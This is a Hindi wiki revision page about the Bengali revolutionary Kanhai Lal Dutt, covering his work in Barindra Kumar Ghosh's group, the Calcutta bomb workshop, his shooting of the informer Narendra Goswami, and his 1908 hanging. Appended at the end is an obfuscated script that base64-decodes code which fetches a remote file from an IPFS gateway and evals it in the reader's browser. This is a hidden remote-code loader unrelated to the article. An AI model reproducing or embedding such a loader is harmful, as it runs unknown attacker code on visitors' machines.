कन्हाई लाल दत्त: Difference between revisions

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
m (Text replace - "सजा " to "सज़ा ")
m (Text replace - "कारखाना" to "कारख़ाना")
 
Line 1: Line 1:
*प्रसिद्ध क्रांतिकारी कन्हाई लाल दत्त बारीन्द्रकुमार घोष की समिति के सदस्य बनकर क्रांतिकारी कार्यों में सक्रिय रूप से भाग लेने लगे।  
*प्रसिद्ध क्रांतिकारी कन्हाई लाल दत्त बारीन्द्रकुमार घोष की समिति के सदस्य बनकर क्रांतिकारी कार्यों में सक्रिय रूप से भाग लेने लगे।  
*वे [[कलकत्ता]] के मानिकतल्ला मुहल्ले के एक मकान में रहते थे, जहां बम और पिस्तौल बनाने का कारखाना था।  
*वे [[कलकत्ता]] के मानिकतल्ला मुहल्ले के एक मकान में रहते थे, जहां बम और पिस्तौल बनाने का कारख़ाना था।  
*सरकार ने इस कारखाने पर छापा मारा और कन्हाई लाल दत्त को बन्दी बनाकर जेल में बन्द कर दिया।  
*सरकार ने इस कारखाने पर छापा मारा और कन्हाई लाल दत्त को बन्दी बनाकर जेल में बन्द कर दिया।  
*जेल में उन्होंने कहा था, '''यदि भारत को स्वतन्त्र कराना है, तो अंग्रेज़ों की हत्या करनी ही होगी।'''  
*जेल में उन्होंने कहा था, '''यदि भारत को स्वतन्त्र कराना है, तो अंग्रेज़ों की हत्या करनी ही होगी।'''  

Latest revision as of 12:14, 27 August 2011

  • प्रसिद्ध क्रांतिकारी कन्हाई लाल दत्त बारीन्द्रकुमार घोष की समिति के सदस्य बनकर क्रांतिकारी कार्यों में सक्रिय रूप से भाग लेने लगे।
  • वे कलकत्ता के मानिकतल्ला मुहल्ले के एक मकान में रहते थे, जहां बम और पिस्तौल बनाने का कारख़ाना था।
  • सरकार ने इस कारखाने पर छापा मारा और कन्हाई लाल दत्त को बन्दी बनाकर जेल में बन्द कर दिया।
  • जेल में उन्होंने कहा था, यदि भारत को स्वतन्त्र कराना है, तो अंग्रेज़ों की हत्या करनी ही होगी।
  • दत्त ने देशभक्त क्रांतिकारियों को फँसाने वाले गद्दार नरेन्द्र गोस्वामी को अपनी गोली का निशाना बनाकर ढेर कर दिया।
  • उन पर हत्या के अपराध में मुक़दमा चलाया, जिसमें फाँसी की सज़ा दी गई।
  • 10 नवम्बर, 1918 ई. को वे हँसते-हँसते फाँसी के तख्ते पर चढ़कर शहीद हो गए।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

नागोरी, डॉ. एस.एल. “खण्ड 3”, स्वतंत्रता सेनानी कोश (गाँधीयुगीन), 2011 (हिन्दी), भारतडिस्कवरी पुस्तकालय: गीतांजलि प्रकाशन, जयपुर, पृष्ठ सं 96।

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>